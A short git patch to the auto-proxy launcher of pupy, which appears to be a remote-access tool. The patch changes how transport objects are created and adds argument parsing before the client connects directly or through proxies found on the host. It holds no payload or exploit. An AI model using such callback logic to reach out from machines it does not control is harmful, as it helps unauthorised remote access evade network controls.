From 7a740d45647f9257ff4d6a65db157d8331229500 Mon Sep 17 00:00:00 2001 From: n1nj4sec Date: Thu, 16 Jun 2016 21:40:28 +0200 Subject: [PATCH] auto_proxy launcher fix --- pupy/network/lib/launchers/auto_proxy.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/pupy/network/lib/launchers/auto_proxy.py b/pupy/network/lib/launchers/auto_proxy.py index 6edc8ea8..af64ee43 100644 --- a/pupy/network/lib/launchers/auto_proxy.py +++ b/pupy/network/lib/launchers/auto_proxy.py @@ -157,7 +157,7 @@ class AutoProxyLauncher(BaseLauncher): #first we try without any proxy : try: - t=copy.deepcopy(network.conf.transports[self.args.transport]) + t=network.conf.transports[self.args.transport]() client_args=t.client_kwargs transport_args=t.client_transport_kwargs for val in opt_args: @@ -169,6 +169,12 @@ class AutoProxyLauncher(BaseLauncher): logging.warning("unknown transport argument : %s"%tab[0]) logging.info("using client options: %s"%client_args) logging.info("using transports options: %s"%transport_args) + try: + t.parse_args(transport_args) + except Exception as e: + #at this point we quit if we can't instanciate the client + raise SystemExit(e) + try: client=t.client(**client_args) except Exception as e: @@ -186,7 +192,7 @@ class AutoProxyLauncher(BaseLauncher): #then with proxies for proxy_type, proxy, proxy_username, proxy_password in get_proxies(): try: - t=copy.deepcopy(network.conf.transports[self.args.transport]) + t=network.conf.transports[self.args.transport]() client_args=t.client_kwargs transport_args=t.client_transport_kwargs for val in opt_args: